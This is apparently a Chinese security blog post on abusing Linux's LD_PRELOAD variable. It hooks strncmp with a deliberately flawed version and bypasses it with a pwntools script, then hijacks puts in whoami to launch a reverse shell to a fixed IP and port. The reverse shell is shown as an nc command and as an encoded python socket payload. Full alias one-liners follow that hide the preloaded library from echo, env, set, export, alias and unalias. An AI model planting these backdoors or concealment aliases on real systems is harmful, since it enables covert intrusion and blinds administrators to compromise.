关于环境变量LD_PRELOAD的利用
LD_PRELOAD
LD_PRELOAD
是 Linux
系统的一个环境变量,它允许运行程序时优先强制加载指定的动态链接库,并且由于 全局符号介入机制 的影响,LD_PRELOAD
指定的动态链接库中的函数会覆盖之后其他动态链接库中的同名函数。对于调试程序或者向程序中注入自定义的代码都是很方便的,本文记录了如何通过 LD_PRELOAD
环境变量来 hook
程序,达到植入后门和调试的目的
全局符号介入
全局符号介入指的是程序调用动态库中的函数时,如果调用的函数在多个动态库中都存在,那么链接器只会保留第一个链接的动态库中的函数,忽略之后同名的函数,所以只要预加载的全局符号中有和后加载的普通共享库中全局符号重名,那么就会覆盖后装载的共享库以及目标文件里的全局符号。
实验-DIY库函数
下面通过一个实验来体会用 LD_PRELOAD
替换 libc
中的库函数
这是 test
程序正常依赖的动态库
下面是使用 LD_PRELOAD
加载了一个动态库的状态,能够发现 test
程序依赖的动态库多了一个 hook.so
补充:也可以使用 export
设置环境变量,在当前 shell
会话及子进程中都是有效的,命令如下
export LD_PRELOAD=/home/zikh/Desktop/hook.so |
下面通过一个程序用 LD_PRELOAD
来 DIY
一下动态库里的 strncmp
函数,主程序代码如下,实现了一个类似于 shell
的场景,只有 su
exit
两个功能 ,正常情况下只有输入正确的 password
才能通过检查,输出 ROOT!
//gcc test.c -o test -w |
再写一个 hook.c
文件,自定义了一个 strncmp
函数,用来判断两个字符串在 len
字节之前的部分是否一样,但它和动态库原本 strncmp
函数不同的地方在于可以被 \x00
截断
//gcc hook.c -o hook.so -shared -fPIC -w |
为了确保程序运行时确实调用的是自定义的 strncmp
函数,我选择重新加上 -g
参数,重新编译一下 hook.so
,执行 gdb --args env LD_PRELOAD=/home/zikh/Desktop/hook.so ./test
进行调试,执行到 strncmp
时可以看到确实是执行了我们自定义的函数(不知道为什么,这样无法像 b main
这样来通过符号下断点了)
下面是正常运行 test
程序和加载 hook.so
后再运行 test
的两种情况
这样来看的话,加载的 hook.so
中的 strncmp
函数也可以正常发挥,程序依然运行的没有任何问题
现编写如下的攻击脚本
from pwn import * |
在输入密码时,发送一个 \x00
就能截断自定义的 strncmp
函数,从而实现绕过对密码的检查
上面的实验 DIY
了库函数 strncmp
,并且故意写了一个有漏洞自定义函数,算是玩了一下。同理,Linux
下的有些命令本质上也是可执行程序且动态链接,以 whoami
命令为例,能看到它也是正常依赖的 libc
库
用 ltrace
命令来查看 whoami
调用了哪些函数,其中发现了 puts
函数被执行,所以我们可以通过劫持动态库中的 puts
函数,让其先执行我们自定义的代码,再去执行原本正常的 puts
函数,这样就可以做到神不知鬼不觉植入一个后门
植入后门
下面的代码就是先记录一下 puts
函数的 libc
地址,因为伴随着劫持 puts
函数,无法通过函数名直接来执行,必须借助函数指针来调用动态库原本的 puts
函数。在此之前执行一个反弹 shell
,这里之所以选择用 python
的原因是 nc 10.214.140.181 4444 -e /bin/bash
这样会阻塞住 shell
//gcc preload.c -o preload.so -ldl -shared -fPIC |
python
那部分 base64
解码的代码如下,之所以编码一下的原因可能是两个? 免杀? 方便?一行命令就完事?
import os,socket,subprocess; |
将自定义的动态库给编译出来(反弹的 IP
和 port
自行修改),执行命令 export LD_PRELOAD=/home/zikh/Desktop/preload.so
修改环境变量 LD_PRELOAD
,然后再次执行 whoami
命令,发现触发了后门,反弹了 shell
上来,并且靶机没有显示任何异常
隐藏痕迹
但是如果检查环境变量 LD_PRELOAD
是否有值,就可以捕捉到蛛丝马迹
有检查的手段,就有对抗检查的手段。隐藏痕迹的思路就是利用 alias
命令给能够查看环境变量的命令都定义一个别名,在输出环境变量时做一个过滤,如果检查到输出内容有自定义的动态库名称时就输出空格字符或者不输出之类的。
隐藏echo
使用 alias
命令将 echo
定义别名
alias echo='func(){ echo $* | sed "s!/home/zikh/Desktop/preload.so! !g";};func' |
首先查看环境变量 LD_PRELOAD
是没有值的,用 export
进行设置后,echo
就能看到 $LD_PRELOAD
的值了,接着用 alias
将 echo
定义别名,使得 echo
命令输出的字符串如果包含 /home/zikh/Desktop/preload.so
就给替换为空格,实验效果如下
原理如下
首先定义一个 func
函数,最后执行 func
函数中的内容
echo $*
会输出 echo
命令传进来的所有参数
sed
是一个非交互性文本流编辑器,s
参数表示替换,!
作为定界符(正常的分隔符是用 /
,但是避免路径中 /
的干扰,这里选择用 !
作为定界符),g
表示全局替换。
以 sed "s/abc/efg/g"
为例,指的是把字符串 abc
替换为 efg
,验证如下
隐藏env
env
输出环境变量时,如果 LD_PRELOAD
的值并不存在,则不会输出关于这个变量的任何信息,如果给 LD_PRELOAD
设置值之后,就能查看到一行关于这个变量的信息(如下)
这里采用的思路是用 grep -v
来过滤掉
grep -v
指的是反转匹配
grep -v "i" 1.txt |
它将输出除了包含字符 i
这一行数据的所有内容,如下
因此使用如下命令,将 env
定义别名,将除去字符串 /home/zikh/Desktop/preload.so
的内容都输出
alias env='func(){ env $* | grep -v "/home/zikh/Desktop/preload.so";};func' |
观察下图能发现,最初 env
命令是成功输出了 LD_PRELOAD
环境变量的,但定义 env
别名后,再出执行 env
就已经看不到 LD_PRELOAD
环境变量了
隐藏set
隐藏 set
命令输出的环境变量和 env
同理
alias set='func(){ set $* | grep -v "/home/zikh/Desktop/preload.so";};func' |
隐藏export
export
命令的隐藏也是同理
alias export='func(){ export $* | grep -v "/home/zikh/Desktop/preload.so";};func' |
隐藏unalias
接下来是对 alias
和 unalias
命令进行处理
用 alias
可以查询到对 env
命令做了别名定义,对其使用 unalias
命令删除是可以成功的,如果没有别名的话,用 unalias
删除时应该是报错 no such hash table element: xxx
(实验机器为 ubuntu18.04
,不同版本的机器上这个错误信息可能不一样)
然后对 unalias
命令进行一下别名定义,希望在识别到参数为 env
echo
unalias
export
alias
unalias
的时候都输出报错 no such hash table element: xxx
,这样就造成了一种这些命令并没有被别名的假象
shell
脚本如下,代码很容易理解,就是用了两个 if
语句确保 unalias
造成一种假象
alias unalias='func() { |
执行 alias
命令如下,对 unalias
定义别名
alias unalias='func() { if [ $# -ne 0 ]; then if [[ $* != "echo" && $* != "env" && $* != "set" && $* != "export" && $* != "alias" && $* != "unalias" ]]; then unalias $*; else echo "unalias: no such hash table element: ${*}"; fi; else echo "unalias: not enough arguments"; fi }; func' |
隐藏alias
如果用 alias
命令查看哪些函数定义别名的话,依然是个破绽,因此最后对 alias
做一个别名,伪造的方法和隐藏 export
set
的输出一样,将输出有动态库名称的命令都给过滤掉,并且要额外过滤一下 unalias
(避免被看出来 unalias
命令做过手脚)
alias alias='func(){ alias "$@" | grep -v unalias | grep -v preload.so;};func' |
汇总上面的命令,编写 shell
脚本如下
export LD_PRELOAD=/home/zikh/Desktop/preload.so |
将其执行后,调用 whoami
可以看到下图中已经触发了后门,并且用各种方法检查环境变量 LD_PRELOAD
发现一切正常,如下图
参考文章:
https://cloud.tencent.com/developer/article/1683272
https://blog.csdn.net/Rong_Toa/article/details/108474167
https://www.baeldung.com/linux/ld_preload-trick-what-is
https://www.yuque.com/cyberangel/rg9gdm/gg3r9m#MDRY6